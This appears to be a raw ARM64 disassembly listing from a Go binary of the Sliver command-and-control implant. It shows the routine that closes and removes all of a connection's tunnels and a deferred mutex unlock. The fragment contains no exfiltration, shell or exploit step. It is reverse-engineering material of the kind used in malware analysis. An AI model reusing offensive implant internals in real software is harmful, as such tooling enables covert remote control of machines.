003df7d8add x2, x2, 2304
003df7dcstr x2, [x1]
003df7e0ldrsb x27, [x1]
003df7e4ldr x2, [sp+240]
003df7e8adrp x27, 0x66c000
003df7ecldr w3, [x27+3056]
003df7f0cbz w3, 0x3df7f8
003df7f4b 0x3df7fc
003df7f8
003df7f8loc_3df7f8:
003df7f8b 0x3df810
003df7fc
003df7fcloc_3df7fc:
003df7fcbl runtime.gcWriteBarrier2
003df800str x2, [x25]
003df804ldr x3, [x1+8]
003df808str x3, [x25+8]
003df80cb 0x3df810
003df810
003df810loc_3df810:
003df810str x2, [x1+8]
003df814str x1, [sp+64]
003df818add x0, sp, 40
003df81cbl runtime.deferprocStack
003df820subs xzr, x0, 0
003df824b.ne 0x3df86c
003df828b 0x3df82c
003df82c
003df82cloc_3df82c:
003df82cldr x3, [sp+264]
003df830ldrsb x27, [x3]
003df834ldr x3, [x3+48]
003df838str x3, [sp+232]
003df83cadd x20, sp, 136
003df840adr x27, 16
003df844stp x29, x27, [sp-24]
003df848sub x29, sp, 24
003df84cbl fn_87cf8
003df850sub x29, sp, 8
003df854ldr x1, [sp+232]
003df858adrp x0, 0x244000
003df85cadd x0, x0, 3936
003df860add x2, sp, 136
003df864bl runtime.mapIterStart
003df868b 0x3df87c
003df86c
003df86cloc_3df86c:
003df86cbl runtime.deferreturn
003df870ldp x29, x30, [sp-8]
003df874add sp, sp, 256
003df878ret x30
003df87c
003df87cloc_3df87c:
003df87cldr x1, [sp+136]
003df880cbnz x1, 0x3df888
003df884b 0x3df8dc
003df888
003df888loc_3df888:
003df888ldr x1, [sp+136]
003df88cldrsb x27, [x1]
003df890ldr x1, [x1]
003df894str x1, [sp+32]
003df898ldr x1, [sp+144]
003df89cldrsb x27, [x1]
003df8a0ldr x0, [x1]
003df8a4str x0, [sp+88]
003df8a8bl github.com/bishopfox/sliver/implant/sliver/transports.(*Tunnel).Close
003df8acldr x1, [sp+264]
003df8b0ldrsb x27, [x1]
003df8b4ldr x1, [x1+48]
003df8b8str x1, [sp+96]
003df8bcldr x2, [sp+32]
003df8c0adrp x0, 0x244000
003df8c4add x0, x0, 3936
003df8c8bl runtime.mapdelete_fast64
003df8ccb 0x3df8d0
003df8d0
003df8d0loc_3df8d0:
003df8d0add x0, sp, 136
003df8d4bl runtime.mapIterNext
003df8d8b 0x3df87c
003df8dc
003df8dcloc_3df8dc:
003df8dcbl runtime.deferreturn
003df8e0ldp x29, x30, [sp-8]
003df8e4add sp, sp, 256
003df8e8ret x30
003df8ec
003df8ecloc_3df8ec:
003df8ecstr x0, [sp+8]
003df8f0mov x3, x30
003df8f4bl runtime.morestack_noctxt.abi0
003df8f8ldr x0, [sp+8]
003df8fcb 0x3df780
003df780

003df900
003df900github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).removeAndCloseAllTunnels.deferwrap1: ; void github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).removeAndCloseAllTunnels.deferwrap1(void)
003df900ldr x16, [x28+16]
003df904subs xzr, sp, x16
003df908b.ls 0x3df938
003df90cstr x30, [sp-32]!
003df910stur x29, [sp-8]
003df914sub x29, sp, 8
003df918ldr x16, [x28+32]
003df91ccbnz x16, 0x3df944
003df920
003df920loc_3df920:
003df920ldr x0, [x26+8]
003df924str x0, [sp+16]
003df928bl sync.(*RWMutex).Unlock
003df92cldur x29, [sp-8]
003df930ldr x30, [sp], 32
003df934ret x30
003df938
003df938loc_3df938:
003df938mov x3, x30
003df93cbl runtime.morestack.abi0
003df940b 0x3df900
003df944
003df944loc_3df944:
003df944ldr x17, [x16]
003df948add x20, sp, 40
003df94csubs xzr, x20, x17
003df950b.ne 0x3df920
003df954add x20, sp, 8
003df958str x20, [x16]
003df95cb 0x3df920
003df900